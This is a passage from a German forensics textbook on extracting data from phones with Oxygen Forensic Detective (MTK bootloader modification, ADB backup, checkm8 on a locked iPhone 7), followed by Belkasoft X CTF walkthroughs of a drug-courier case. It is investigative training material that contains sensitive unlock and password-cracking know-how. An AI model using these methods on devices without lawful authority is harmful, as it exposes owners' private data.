gelegentliche Nutzer.
338
Diese Liste ist bei weitem nicht vollständig aber je nach Anforderungen kann eines der Tools oder eine Kombination aus mehreren dieser Tools den finanziell sinnvollsten Einstieg in diesen Markt ermöglichen! Sehen wir uns zunächst einige Fälle in Oxygen Forensic Detective an: 1) Acer Z530 Hier haben wir ein etwas älteres Telefon mit Android 5.x bei dem wir wiederum eine Extraktion mit Chip-Off durchführen könnten. Da dieses Telefon auf dem MTK Chipsatz basiert kann ich Ihnen hier eine Extraktionsmethode von Oxygen vorstellen... Wenn wir das Tool starten, sehen wir folgenden Hauptbildschirm:
Hier erstellen wir zunächst einen neuen Fall mit dem New Case Button:
339
Nachdem wir die Grunddaten wie Case-Name, etc. eingetragen haben, können wir auf Extract device data klicken und wir sehen folgende Auswahl:
340
Dies sind alle verfügbaren Extraktionsmethoden und einige davon werden wir uns im Folgenden ansehen... Hier rufen wir MTK Android auf und wir sehen folgendes:
Um zu prüfen welche Extraktionsmethoden von welchem Gerät unterstützt werden, können wir auch die Geräte-Liste aufrufen und nach der Modellbezeichnung suchen:
341
Diese ist aber nicht immer ganz genau denn bei unserem Z530 ist ein MT6735 verbaut und der wird von MTKBoot unterstützt aber nicht vom MTK (Physical MTK image)! Mit diesen kleinen Fehlern bzw. Ungenauigkeiten müssen wir leben denn auch diese Liste ändert sich mit jedem Update der Hersteller! Sobald wir Bootloader modification gewählt, und auf Next geklickt haben, sehen wir folgendes:
Hier können wir den Pfad für die Extraktion festlegen und dann den Vorgang starten oder ein Telefon wieder auf den Ursprungszustand zurücksetzen. Bedenken Sie, dass wir hier das Telefon verändern und Partitionen mit entsprechenden Tools überschreiben die dann die Extraktion ermöglichen. Dieser Vorgang kann im schlimmsten Fall ein Gerät und die Daten völlig blockieren und darum gibt es in den meisten Methoden die sich am Gerät zu schaffen machen auch die Option die Veränderungen rückgängig zu machen falls eine Extraktion fehlschlägt. Sobald wir den Extract filesystem Button anklicken, sehen wir dieses Fenster:
342
Hier müssen wir zuerst das Gerät in den MTK Modus versetzen. Dazu schalten wir das Gerät aus und verbinden dann das USB-Kabel mit dem ausgeschalteten Gerät. Das Gerät sollte dann angehen und in dem MTK Modus wechseln. Sobald dies passiert ist, informiert uns der grüne Haken, dass das Gerät gefunden wurde. Danach müssen wir die passende "Payload" (die DA-Datei) auswählen. Ich versuche in der Regel die Datei MTK_AllInOne_DA.bin und wenn das nicht klappt, recherchiere ich in der Knowledge-Base oder frage beim Support an. Danach können wir den Connect-Button benutzen, um eine Verbindung zum Gerät aufzubauen:
343
Hier teilt uns eine entsprechende Meldung nochmals mit, welcher Chipsatz das Gerät hat. Damit können wir auch sehen, dass alles korrekt erkannt wurde. Der Button Start the extraction lässt Oxygen mit der Datenextraktion beginnen. Hierbei Leiten uns kurze Anweisungen durch den Vorgang:
Hier werden wir aufgefordert die Verbindung zu trennen, das Gerät neu zu starten und wenn es vollständig gebootet ist das USB-Kabel wieder anzuschließen. Befolgen Sie diese Anweisungen genau denn oftmals reichen schon kleine Abweichungen damit eine Extraktion fehlschlägt! Nach der erneuten Verbindung startet die Datenextraktion von selbst:
344
Nun müssen wir nur noch warten bis die Daten extrahiert wurden. Dann können wir diese Extraktion dem Fall hinzufügen. Ich will Ihnen aber noch eine weitere Methode zeigen und die Ergebnisse der Extraktionen dann vergleichen. Also wähle ich dieses Mal Android Backup (via ADB) aus:
345
Hier werden wir dazu aufgefordert einige Dinge zu prüfen unter anderem muss USB-Debugging in den Developer Optionen aktiviert sein. Dazu müssen wir die Build-Nummer unter dem Punkt "Über das Telefon" in den Einstellungen 7x antippen. Danach werden die Developer Optionen angezeigt und darin können wir USBDebugging und diverse andere Dinge aktivieren. Die entsprechenden Tools liefern in der Regel eine detaillierte Beschreibung wie und wo genau Optionen auf den verschiedensten Android-Versionen zu finden sind. Befolgen Sie einfach die Anweisungen und wenn alles Nötige aktiviert bzw. deaktiviert wurde, klicken Sie auf Connect. Das öffnet den folgenden Dialog: 346
Hier können wir wieder den Speicherort festlegen und dann mit Extract den Vorgang starten:
347
Oxygen Forensics Detective weist uns an dieser Stelle darauf hin, dass wir am
Telefon das Backup bestätigen müssen.
Für neuere Systeme müssen wir auch verpflichtend ein Passwort für das Backup festlegen. Bei diesem Telefon klappte es sehr gut. Bei einem noch älteren Modell wollte weder ADB Backup noch die ADB Physikal extraktion laufen. Gegebenenfalls muss die ADB-Version in Oxygen angepasst werden. In solchen Fällen steht Ihnen der Support oder die Knowledge-Base zur Seite! Nachdem das Backup am Telefon bestätigt wurde, müssen wir nur darauf warten, dass es fertig heruntergeladen wurde: 348
Sobald dies geschehen ist, können wir beide Extraktionen in Oxygen Forensic Detective laden und vergleichen:
349
Wir sehen hier links die MTK-Extraktion und rechts das ADB Backup. Vergleichen wir die einzelnen Rubriken, dann sehen wir sehr deutlich, dass eine oberflächlichere Extraktion wie das Backup der Userdaten viel weniger Daten liefert als eine Extraktion auf Systemebene! Daher würde ich, sofern dies möglich ist, immer eine möglichst umfangreiche Extraktion nutzen. Dies sorgt für mehr Daten und verhindert so, dass Beweise übersehen werden. Mein Versuch einer Exynos-Extraktion an einem S8+ (SM-G955F) schlug fehl, weil das Telefon nach einiger Zeit nicht mehr reagierte. Bis zu dem Zeitpunkt an dem ich die Arbeit an diesem Kapitel beendete, lag keine Lösung vor. Wir arbeiten hier mit Tools die auf Reverse-Engineering basieren und kleine Änderungen oder Updates der Hersteller können derartige Lösungen obsolet machen. Das muss Ihnen bewusst sein!
350
2) iPhone 7 (A1778) Der nächste Kandidat ist ein iPhone 7 dessen Lock-Code wir nicht haben. Dazu werden wir das CheckM8 Exploit nutzen. Prüfen wir, ob dieses für dieses Gerät verfügbar ist:
Und dann starten wir mit einem Klick auf iOS checkm8:
351
Wie üblich legen wir im ersten Schritt den Speicherort fest und starten dann den Vorgang mit einem Klick auf Checkm8 aquisition:
Zuerst müssen wir das iPhone in den DFU Modus versetzen. Dazu müssen wir das Telefon mit dem USB-Kabel verbinden, den Sleep- und Volume runter Button für 10 Sekunden gedrückt halten, dann den Sleep-Knopf loslassen und dem Volume runter Knopf für weitere 8-10 Sekunden gedrückt halten. Der Bildschirm sollte schwarz bleiben und Oxygen sollte die erfolgreiche Verbindung bestätigen so wie wir das oben sehen. Danach haben wir zwei Optionen bei diesem Modell: > Start the extraction (selbsterklärend) > Exploit SEP vulnerability (Secure Enclave Processor) Ich starte an dieser Stelle einfach die Extraktion:
352
Hier wird ebenfalls das Betriebssystem so manipuliert, dass wir vollen Zugriff auf alle Daten bekommen. Ist das passiert haben wir nochmals die Auswahl zwischen einer vollständigen oder selektiven Extraktion:
Ich wähle hier Full extraction:
353
Hierbei werden neben den Userdaten auch alle möglichen Artefakte aus dem Betriebssystem selbst extrahiert:
Diese daten würden wir gar nicht oder nur teilweise erhalten, wenn wir zB "nur" das iTunes-Backup nutzen würden. Ich hatte auch noch ein altes iPhone 5s zum Testen, hier schlug die CheckM8Extraktion leider fehl.
354
3) Samsung S3 mini (GT-i8190) Bei diesem alten Telefon schlugen sowohl ADB-Backup als auch ADB physical und sogar die OxyAgent-Extraktion fehl. Das liegt wahrscheinlich daran, dass dies ein sehr altes Gerät ist. Wie bereits erwähnt haben wir die Möglichkeit die ADB-Version zu ändern und es so nochmals zu versuchen. Ich habe hier einen Dump des Speicherchips wie zuvor beschrieben mit der Chip-Off Methode angefertigt. Diesen können wir nun importieren. Klicken Sie dazu im entsprechenden Fall auf Import backup und wählen Sie dann die Datei aus... Im ersten Schritt müssen wir dazu angeben welche Art von Daten wir importieren:
An dieser Stelle wähle ich Android physical image aus und wir bekommen den üblichen Import-Dialog:
355
Dies ist der gleiche Import-Dialog den wir auch nach der Extraktion der Daten haben. Neben den üblichen Angaben wie Name des Forensikers, Beweismittel- und Fallnummer haben wir auch die Möglichkeit zu bestimmen welche Analysen durchgeführt werden sollen. Hier bietet Oxygen neben den Analysen der üblichen Apps auch die Möglichkeit Bilder mit einer künstlichen Intelligenz zu Klassifizieren. Diese ordnet unter anderem Bilder den folgenden Kategorien zu: > > > > > > > > >
Pornografie Nacktheit Kinderpornografie Waffen Gewalt Drogen Geld Kreditkarten / Ausweise Dokumente
Eine derartige Klassifizierung von Bildern mag nicht alle Bilder finden aber wenn wir beispielsweise nach kinderpornografischem Material suchen oder einen Fall von Kreditkartenbetrug, Identitätsdiebstahl oder Dokumentenfälschung untersuchen, müssen wir oftmals nicht jedes Bild finden.
356
Es reicht, wenn uns die KI des Programms einige kinderpornografische Fotos oder Fotos von Ausweisen, Kreditkarten bzw. anderen Dokumenten liefert um damit erst mal einen schnellen Überblick zu bekommen. Im Idealfall müssen wir uns dann nicht durch 27139 Urlaubsfotos der letzten 12 Jahre arbeiten denn die KI lieferte uns einige der gesuchten Bilder und deren Speicherort an dem wir mit sehr hoher Wahrscheinlichkeit das restliche Material finden. Solche Dinge helfen uns auch schnell einen Überblick zu bekommen welches Gerät vorrangig genauer untersucht werden sollte. Dennoch kann keine Untersuchung nur auf den Ergebnissen derartiger Tools beruhen und man muss bei der Untersuchung entsprechend gründlich vorgehen und sich das ganze System genau ansehen um nichts zu übersehen. Außerdem gilt es Ergebnisse der Tools genau zu prüfen - eine Erotikdarstellerin, deren Fotos mir bei einer Untersuchung als kinderpornografisches Material getaggt wurden, ist "Kitty Jung" und auf derartige Dinge sollte man achten. Bei "Fans" dieser Darstellerin kann man zumindest gewisse Präferenzen erkennen aber dennoch gilt es Material zu prüfen bevor man voreilige Schlüsse zieht! Vor allem die KI verleitet ein wenig zu voreiligen Schlüssen und ist daher oftmals ein zweischneidiges Schwert...
357
Fallbeispiel Acer Z530 - Carding Die Untersuchung eines Telefons oder Tablets ist im Grunde genau das gleiche wie bei einem PC. Nachdem wir die Hürde mit der Verschlüsselung überwunden haben und die Daten lesen können, verläuft die Untersuchung wie üblich. Daher will ich Ihnen an dieser Stelle nur einige wenige Dinge vorstellen, die Oxygen Forensic Detective erlaubt. Zuerst erlaubt uns der Social Graph einen visuellen Überblick über die Kommunikationskanäle und Beziehungen zwischen den Personen. Dazu fließen Chats, SMS-Nachrichten, Telefonanrufe, E-Mails und Webseitenbesuche in eine grafische Auswertung zusammen:
So können wir schnell überblicken wer mit wem wie oft in Verbindung stand und über welchen Kommunikationskanal dies ablief. Hier sehen wir einen realen Fall und dieser ist nicht gerade umfangreich. Derartige grafische Auswertungen können uns einen schnellen Überblick ermöglichen aber auch schnell sehr unübersichtlich werden. Darum ist es meist sinnvoll damit zu beginnen nicht relevantes auszuschließen.
358
Hier sehen wir einen etwas einfacheren konstruierten Fall, bei dem auch die indirekten Verbindungen über Gruppen aufdeckt werden. Gesichtserkennung macht es einfach Accounts verschiedenster Personen zusammenzufügen auch wenn diese unter einem falschen Namen oder Nicknamen laufen:
Hierbei werden alle gefundenen Bilder aus allen Quellen (Kamera, Webseiten, Messenger-Apps, Kontakte, ...) zusammengeführt. Wir können diese Daten dann auch mit Fotos abgleichen und so herausfinden ob ein Bild einer bestimmten Person irgendwo auf dem Gerät zu finden ist. Auch hier ist Oxygen nicht unfehlbar aber es macht meist einen sehr guten Job!
359
Abgesehen von diesen zwei sehr hilfreichen Tools zur Analyse von Beziehungen zwischen Personen und Accounts ist und bleibt die forensische Auswertung primär die Durchsicht der vorhandenen Daten. Auch wenn Telefone oftmals weitere zusätzliche nützliche Informationen wie GPS-Koordinaten, zuletzt besuchte Orte, WLAN-Netzwerke und einiges mehr bieten, womit man den Standort eines Telefons zu einem bestimmten Zeitpunkt ermitteln kann, ist die Antwort auf sehr viele Fragen in den ChatNachrichten, E-Mails, Dokumenten oder im Browserverlauf zu finden. Kein forensisches Tool spuckt ihnen auf Knopfdruck die gesuchten Beweise aus und der Großteil der Arbeit ist nach wie vor das Lesen von Texten und die Durchsicht von Bildern - so auch hier in diesem von mir konstruierten Beispiel-Fall:
Dieser kurze Auszug aus den über 700 Nachrichten macht klar, dass die eine Person vor hat Kreditkartendaten im Darknet zu kaufen und diese dann zum Kauf von Kryptowährungen zu verwenden. Die andere Person bietet an ein höchstwahrscheinlich gehacktes Konto zu nutzen um das Geld darüber laufen zu lassen. Dies ist zwar nicht wirklich klar aus dem Text ersichtlich, macht aber mit dem 30 Minuten Zeitfenster durchaus Sinn, vor allem da ich weiß, dass dies eine gängige Praxis ist um Ermittlungen zu erschweren. Hier gilt es natürlich mit derartigen Aussagen vorsichtig zu sein und Fakten wiederzugeben und Vermutungen, sofern man diese äußern möchte, auch klar als solche zu benennen.
360
In bestimmten Kreisen gibt es bestimmte Terminologien wie zB das Wort "Carding", das für Kreditkartenmissbrauch steht. Im Bereich der Strafverfolgung ist zwar davon auszugehen, dass Richter und Anwälte, die bereits dutzende Verhandlungen in diesen Bereichen hatten, mit den einschlägigen Begriffen vertraut sind. Es kann aber dennoch nicht Schaden diese für alle Fälle kurz zu erklären. Außerdem gibt es bestimmte Vorgehensweisen wie das hier angedeutete Verschieben von Geldern über mehrere Bezahldienste, Accounts und Konten um verschiedenste Länder in einen Fall zu involvieren. Damit ist eine Strafverfolgungsbehörde gezwungen um Rechtshilfe in mehreren Ländern anzusuchen was einen bestimmten Verwaltungsaufwand bedeutet und zu teilweise erheblichen Verzögerungen führt. Auf ähnliche Weise wird bei Cyberangriffen versucht durch das kombinieren verschiedenster VPN- und Proxyserver die Vorhaltezeit eventueller Logdaten verstreichen zu lassen. Manchmal führt der erhöhte Aufwand auch dazu, dass ein Verfahren dann gänzlich eingestellt wird.
361
EINFÜHRUNG IN BELKASOFT X An dieser Stelle will ich ihnen noch ein Tool vorstellen, dass ich für sehr interessant halte. Wenn Sie ein Tool suchen, mit dem Sie Windows- und Unix-Systeme als auch Telefone untersuchen können und wenn Sie auf ausführliche EntsperrFunktionen für Telefone verzichten können dann wird dieses Produkt für Sie sehr interessant sein. Belkasoft veranstaltet auch regelmäßig CTF-Challenges, die interessant sind und auch eine Geschichte mit klaren Aufgaben erzählen. Daher werden wir uns in diesem Kapitel zwei der Challenges ansehen und diese zumindest teilweise lösen. Beginnen wir mit der "Drug Dealer" CTF: https://belkasoft.com/ctf_may/ Laden Sie die 7-zip Datei herunter und extrahieren Sie die darin enthaltenen Daten. Sie erhalten eine .belkaml und eine .tar Datei. Die zu beantwortenden Fragen finden Sie unter dem Reiter "Challenges". Aus Platzgründen spare ich mir an dieser Stelle das Kopieren und Verifizieren nochmals abzubilden! Zuerst müssen wir einen neuen Fall anlegen:
Dazu wählen wir im Home-Fenster, das wir direkt nach dem Start sehen, den Punkt "Create case". Das öffnet folgenden Dialog:
362
Hier tragen wir wie üblich die wichtigsten Angaben wie Fallnummer, Ordner, Zeitzone, Ermittler und Notizen ein. Nachdem wir den Create - Button angeklickt haben, sehen wir:
Ein Klick auf Add a new data source to the case öffnet folgenden Dialog:
363
Hier wählen wir Add existing aus und sehen dann folgende Übersicht:
Wir können hier zwischen Image, Mobile image, Disk drive (Festplatte), Memory dump und Folder (Ordner) wählen. In diesem Fall haben wir das Image eines Mobiltelefons das wir bearbeiten sollen und darum wählen wir Mobile image aus. Dann werden wir aufgefordert die Image-Datei zu wählen. Sobald wir die .belkaml Datei ausgewählt haben, sehen wir folgenden Dialog:
364
Die .belkaml Datei ist eine XML-Datei, die in diesem Fall nur eine Referenz auf die .tar Datei enthält. Diese Datei könnte aber durchaus noch weitere Daten und selbst zusätzliche extrahierte Artefakte enthalten. Wenn Sie mit einem anderen Tool als Belkasoft X arbeiten, laden Sie einfach die .tar Datei... Belkasoft X bietet uns an dieser Stelle diverse Analysen an. Im ersten Schritt können wir die Artefakte auswählen, die analysiert werden sollen:
Ich wähle hier in der Regel immer alles aus. Man kann alle Analysen später ausführen aber ich bevorzuge es, wenn ich mit der Auswertung loslege nicht mehrfach unterbrechen und auf das Ende einer Analyse warten zu müssen. Daher lasse ich alle möglichen Analysen im Vorfeld laufen um später dann flüssig arbeiten zu können. Schritt 2 erlaubt es die Dateien gegen diverse Hash-Sets abzugleichen:
365
Hiermit kann man zB nach einem Cyberangriff relativ einfach bekannte Schadware und Hacking-Tools im Dateisystem finden. Außerdem gibt es Hashsets für alle möglichen anderen Fälle im Internet. Im nächsten Schritt können wir auswählen ob wir Fotos mit Hilfe einer KI analysieren und klassifizieren wollen:
366
Diese Funktion hatten wir bereits bei Oxygen besprochen. Ich wähle auch hier alles aus um schneller einen Überblick zu bekommen. Dies ist vor allem bei Fällen wie diesem nützlich denn bis jetzt weiß ich noch nicht wirklich wonach (Nachricht, E-Mail, Telefonanruf, Sprachnachricht, Foto, GPS-Koordinaten, ...) ich suchen sollte. Der letzte Schritt erlaubt es mir noch nach verschlüsselten Dateien zu suchen:
Auch hier ist die Erkennungsrate nicht perfekt aber wir bekommen so oftmals eine Idee und je früher man verschlüsselte Daten findet, umso länger haben Tools wie Hashcat oder das Passware Kit Zeit, die Passwörter zu knacken. Dann erhalten wir noch eine kurze Übersicht:
367
Wobei wir die Analysen dann mit einem Click auf Complete starkten können. Wir werden gefragt ob wir weitere Quellen hinzufügen wollen und nach kürzester Zeit sollten auch schon die ersten Artefakte in der Übersicht erscheinen:
Eine genauere Übersicht der laufenden Analysen liefert der Reiter Tasks:
368
Wir sehen hier auch zwei Warnungen. Diese weisen uns darauf hin, dass die Backup-Dateien vom Signal-Messenger nicht geöffnet werden können, da das Passwort unbekannt ist. Wir können nun nach dem Passwort suchen oder versuchen das Passwort zu knacken. Dazu sollten wir die Daten sichten. Oftmals finden sich Passwortmanager, Dateien die das Passwort enthalten oder Screenshots. Hier finden wir einen Screenshot, aber das Passwort stimmte nicht. Zwischenzeitlich hat Belkasoft den Fehler aufgeklärt und den Screenshot verändert um das Passwort unkenntlich zu machen da es falsch war aber man findet es nun an anderer Stelle. Das Signal-Backup ist für die Lösung der Aufgaben nicht nötig aber so etwas wird uns bei realen Ermittlungen auch unterkommen. Wir finden eventuell alte Passwörter die nicht mehr funktionieren oder wir finden gar keine Passwörter und müssen versuchen die Passwörter zu knacken, was auch nicht immer gelingt. Am Ende haben wir 684 Artefakte gefunden:
Nun können wir uns den Fragen / Challenges widmen...
369
1) Name des Verdächtigen (Baby): Da der Verdächtige nicht redet und auch keinen Ausweis bei sich hat, sollen wir den Namen ermitteln. Leider findet sich kein verknüpfter Google-Account mit seinem Namen aber das wäre wirklich zu leicht gewesen. Die E-Mail auf die der Kalender läuft ([email protected]) liefert uns einen möglichen Vornamen aber eine Textsuche nach "Horatio" verlief ohne Ergebnisse. Wir haben auch keine E-Mails mit Bestellungen oder ähnliches um eine Lieferadresse und einen Empfängernamen zu ersehen. Also suche ich methodisch. Mein nächster Ansatz wäre es in den WhatsAppNachrichten danach zu suchen ob jemand den Verdächtigen mit einem Vornamen anspricht. Das finde ich nicht aber ich stoße auf folgende Konversation mit Arnie:
Der Verdächtige hat also Probleme mit dem Knie. Eventuell gibt es medizinische Berichte / Aufzeichnungen, Rezepte, etc. aus dem der Name ersichtlich wird... In den Notizen von Google Keep finde ich folgenden Eintrag: Chondrotin Sulfate 600mg - 2 per day PERCUTANE Pain Relief Cream - evening
Das passt auch wieder zu einem Arztbesuch und da her sehe ich mir den Kalender genauer an ab dem 20.12.2020 und ich finde folgende Einträge:
370
Es gab also am 22.12.2020 und 28.12.2020 einen Termin mit einem Arzt in der 2601 E. Roosevelt St. - damit könnten Polizisten eventuell etwas anfangen. Sehe ich mir alle weiteren Ereignisse zwischen dem 20.12.2020 und 28.12.2020 genauer an, stoße ich in den Bildern auf folgendes Foto:
Der Verdächtige hat also am 20.12.2020 über Schmerzen im Knie geklagt, hatte am 22.12.2020 und 28.12.2020 einen Arzttermin und am 23.12.2020 wurde mit der Kamera seines Telefons ein Röntgenbild von Knien fotografiert.
371
Dass das Bild mit der Kamera des Telefons aufgenommen wurde und nicht etwa aus dem Internet stammt sehen wir anhand der Pfad-Angabe: image:\1\vol_0\data\media\0\DCIM\Camera\IMG_20201223_153810.JPG
Damit haben wir keinen Absoluten Beweis aber die Chance ist sehr groß, dass dies das Röntgenbild des Verdächtigen ist und das wir damit den Namen gefunden haben. Unser Verdächtiger heißt Derek Hor. Außerdem ergab diese Suche folgenden Eintrag im Kalender: FREQ=DAILY;UNTIL=20210223T070000Z;WKST=SU; 23.12.2020 00:00:00 Take drugs;
Das ist eine tägliche (FREQ=DAILY) Erinnerung, die ab dem 23.12.2020 bis zum 23.02.2021 (UNTIL=20210223T070000Z) läuft mit dem Text " Take drugs". Ich lasse mich von derartigen Entdeckungen nicht ablenken und setze mir bei so etwas ein Lesezeichen wobei ich für jede zu beantwortende Frage eigene Lesezeichen oder Marker definiere. Ist die Frage nach dem Namen beantwortet, kann ich auf derartige Funde zurückkommen und diese dann bearbeiten. Andernfalls verzettelt man sich in zig Fragen gleichzeitig und die Qualität der Ergebnisse leidet! Da wir den Namen haben, widmen wir uns Frage 2. 2) Wer ist der "Vorgesetzte" von Derek Hor (Warmup)? Wir haben keine Anrufe und nur drei Kontakte:
372
Vom Lesen der Chats wissen wir, dass Derek mit Arnie recht locker und freundschaftlich spricht, man schickt sich Game-Videos (zB https://www.youtube.com/watch?v=NSJ4cESNQfE), spricht über Geldsorgen und Zeitungsartikel, etc. Das spricht nicht für eine Beziehung zwischen einem Untergebenen und einem Ranghöheren. Das Medical Center passt wahrscheinlich zum Arzttermin und eine GoogleSuche bestätigt, dass das Valleywise Health Medical Center an der Adresse 2601 E Roosevelt St, Phoenix, AZ 85008 zu finden ist! An dieser Stelle muss ich Belkasoft für die CTFs ein sehr großes Lob aussprechen! Diese sind weit realistischer als andere und Details wie richtige Adressen und Namen von Krankenhäusern oder funktionierende YouTube-URLs zu verwenden damit man den Content prüfen und Telefonnummern eindeutig mit Adressen in Verbindung bringen kann ist wirklich gut durchdacht! Damit bleibt also nur noch "Boss" übrig. Aber das alleine ist kein Beweis. Also konzentriere ich mich darauf die Kommunikation mit dieser Person. Da wir weder E-Mails noch Telefonanrufe haben, bleiben mir nur die WhatsApp Chats. Hier ein kleiner Auszug daraus:
373
Der hier vorherrschende Tonfall und die Bezahlungsweise per Bitcoin (BTC) klingt nicht gerade nach einem normalen Dienstverhältnis. Auch das ist zwar ein Subjektiver Eindruck und darum suche ich noch weiter um eindeutigere Beweise zu finden. Da es sehr Aufwendig ist die ganzen Ergebnisse von Hand zu prüfen und in eine zeitliche Abfolge zu bringen, nutze ich hierzu die Timeline:
Diese kann über das Menü mit den drei Balken aufgerufen werden! 374
In der Timeline sehen wir alle Artefakte und Ereignisse in einer zeitlich geordneten Reihenfolge. So können wir den Ablauf bestimmter Ereignisse besser verstehen. Um das jeweilige Artefakt zu sehen, können wir mit einem Rechtsklick auf die Zeile das Kontextmenü aufrufen und dort Go to original item wählen. Hier sehen wir die folgenden wichtigen Einträge: 12.04.2021 00:18:51 - Google Maps Suche nach "Bakery Arizona ..." 12.04.2021 02:02:01 - Foto eines Geldbündels wird erstellt 12.04.2021 02:03:02 - Google Maps Suche nach "Redbox ..." 12.04.2021 03:04:18 - Foto eines Geldbündels wird erstellt 12.04.2021 03:20:24 - Google Maps Suche nach "Oz Bar ..." 12.04.2021 03:45:01 - Google Maps Suche nach "Stinkweeds Record Store ..." 12.04.2021 04:02:01 - Foto eines Geldbündels wird erstellt 12.04.2021 04:04:55 - Zugriff auf https://horatio420.imgbb.com 12.04.2021 04:05:06 - Zugriff auf https://ibb.co/album/RTehva
Derek hat also eine Adresse gesucht, ein Geldbündel in einer Hand fotografiert, eine Adresse in Maps gesucht, dann kurz darauf wieder ein Geldbündel fotografiert und zwei weitere Adressen gesucht und dann wieder ein Geldbündel fotografiert. Hier sehen wir ein eindeutiges Muster – Adress-Suche und danach ein Foto von einem Geldbündel mit einer Ausnahme. Nach der Oz Bar gab es kein Foto. Am Ende wurde auf imgbb.com zugegriffen und scheinbar ein Album erstellt. Die Album-URL ist die gleiche URL, die dann an "Boss" gesendet wurde. Worauf hin sich "Boss" beschwerte, dass ein Foto fehlt. Auch das deckt sich mit unseren Beobachtungen. Eindeutigere Indizien als etwas in der Art wird man kaum finden denn auch Kriminelle schreiben sich keine Nachrichten wie "Hier ist das Geld, dass ich für die Drogenlieferung in deinem Namen kassiert habe"! Damit ist ziemlich klar, für wen Derek arbeitet und wie die Telefonnummer dieser Person lautet. Um die Fotos noch mit den Orten in Verbindung zu bringen, kann man die GPSKoordinaten in den Bildern dazu verwenden diese mit den Adressen abzugleichen. Das überlasse ich Ihnen als Übung - achten Sie dabei auf die zeitlichen Abstände! 375
Also weiter mit Frage 3... 3) Was waren die Lieferadressen von Tag der Verhaftung (Tricky) Ich persönlich fand das einzig schwere an dieser Frage, dass nirgendwo klar stand was der Tag der Verhaftung eigentlich war. Mit der Timeline war dies aber recht einfach zu ermitteln denn wir kennen nun die Art und Weise in der Darek arbeitet:
Der 18.04.2021 ist der letzte Tag an dem wir das bereits bekannte Muster (Adress-Suche und Foto) finden. Hier ist die Vorgehensweise etwas anders da er die Bilder nun nach jeder zweiten Adress-Suche in ein Album hochlädt. Seine Tour beginnt wieder knapp nach Mitternacht und er beginnt bei Circle K ..., besucht dann den Camelback Golf Club, usw. 4) Wie lange arbeitet Derek schon in diesem "Geschäft" (Baby): Diese Frage lässt sich meiner Meinung nach schwerer beantworten. Ich muss an dieser Stelle auch sagen, dass ich die von Belkasoft erwartete "richtige" Lösung für diese Aufgabe so nicht gesehen habe bzw. auch nicht für eindeutig halte. 376
Ich fand bereits zuvor den Kalender-Eintrag vom 23.12.2020 mit dem Text "Take Drugs". Das wäre meiner Meinung nach der früheste Beweis, dass Derek etwas mit Drogen zu tun hätte. Man kann hier auch argumentieren, dass ein Süchtiger sich wohl kaum mit einem Kalender an die Einnahme von Suchtmitteln erinnern müsse. Also kann man hier durchaus davon ausgehen, dass dieser Alarm ihn an dem Dienstbeginn um 00:00:00 (Mitternacht) erinnern soll. Auch das deckt sich mit dem Bild in der Timeline bei dem die ersten Adressen kurz nach Mitternacht aufgerufen wurden. Die erwartete Antwort ist allerdings 303 Tage und stützt sich auf folgenden Fund:
Hier teilt Derek seinem Freund Arnie mit, dass er gerade von einem Vorstellungsgespräch kommt und spricht dabei von seinem "Boss". Ich kann aber keine Hinweise darauf finden das dieser "Boss" und "Job" von dem gesprochen wird die Tätigkeit als Drogenkurier ist. Im Kalender finden sich ab diesem Datum noch folgende Einträge im Zusammenhang mit Jobs:
377
Hier haben wir weitere Vorstellungsgespräche nach dem 20.06.2020 was entweder dafürspricht, dass der Job als Drogenkurier nur eine vorübergehende Notlösung sein sollte und Derek weiter nach normalen Jobs suchte, was den Polizisten Material für ein Verhör liefern würde oder das dies einfach nur ein anderer Job war, den Derek schnell wieder verloren hat. Was für Belkasoft's Datum spricht wäre der Fakt, dass die Geo-Koordinaten in Event location auf ein privates Wohnhaus deuten. Auch in den aufgerufenen URLs finden wir am 15.11.2020 nochmals Hinweise auf eine Jobsuche. In einem weiteren Versuch das Datum von Belkasoft zu bestätigen, habe ich mir die contacts2.db mit dem SQLite Viewer angesehen. Hier fand ich in der Tabelle raw_contacts folgendes:
Es gab zwei Kontakte mit dem Namen "Boss". Auch das spricht für meine Theorie oder "Boss" hat einfach eine neue Telefonnummer und Derek ist zu doof den Kontakt zu editieren. Daher sehe ich mir die Tabelle deleted_contacs an:
378
Der "Boss" mit der ID 3 wurde am 02.05.2021 00:25:07 GMT+0200 gelöscht. Das liefert uns folgende Eingabe in der Python-Shell: >>> import datetime >>> print(datetime.datetime.fromtimestamp(int(1619907907543/1000))) 2021-05-02 00:25:07
Wir müssen bei derartigen Dingen immer darauf achten, dass wir mit der richtigen Zeitzone arbeiten. Diese Zeit müssen wir also für Phoenix AZ umrechnen und das wäre dann der 01.05.2021 15:25:07. Das passt nicht zur Zeitlinie des Falles aber zum Vorbereiten des Falls für die CTF-Challenge. Also prüfen wir, wann der Kontakt "Boss" mit der ID 4 zuletzt bearbeitet wurde. Dies sehen wir in der Tabelle contacts:
Dieser Zeitstempel hilft uns auch nicht weiter. Bei realen Fällen kann die manuelle Analyse von SQLite-Datenbanken oder anderen Artefakten durchaus nützlich sein um derartige Unklarheiten wie hier zu bestätigen oder zu verwerfen. Also bleibt uns nur noch die Berechnung der Dauer der "Anstellung" von dem genannten Darum an und dazu nutzen wir auch wieder Python: >>> import datetime >>> print(datetime.date(2021,4,18) - datetime.date(2020,6,20)) 302 days, 0:00:00
Hierbei müssen wir bedenken, dass wie damit die Differenz in Tagen errechnen, zu der wir den 18.04.2021 auch noch als quasi "letzten Arbeitstag" hinzuzählen müssen. Es sind also 302 + 1 = 303 Tage!
379
Die weiteren Fragen / Challenges überlasse ich Ihnen als kleine Übung... CTF 3 (Meet the Boss) führt diesen Fall dann weiter und ist genauso spannend und interessant wie diese Challenge!
380
CTF Insider Threat mit Belkasoft X Die erste CTF von Belkasoft dreht sich um einen Fall von Werksspionage. Hier haben wir das Image eines Firmenlaptops auf dem wir Beweise finden sollen, dass der Mitarbeiter für ein Konkurrenzunternehmen spioniert. Nachdem wir einen neuen Fall angelegt haben, können wir gleich mit der ersten Frage starten... 1) Name des Laptop-Besitzers (Baby): Hier habe ich vier Möglichkeiten gefunden den Namen zu identifizieren. Zuerst können wir uns die E-Mails ansehen und wir finden Folgendes:
Da wir hier einen Firmenlaptop haben, gehe ich davon aus, dass wir hier auch eine Firmen E-Mail-Adresse haben, was auch den Aufbau mit Vor- und Nachname erklären würde. Im echten Leben wüssten wir natürlich wer der Auftraggeber ist und wir müssten hier nicht raten. In den Artefakten unter Browsers -> Form Values (im Overview Tab) finden wir folgenden Eintrag:
In der Dateisystemansicht (Menu -> File System) finden wir folgendes:
381
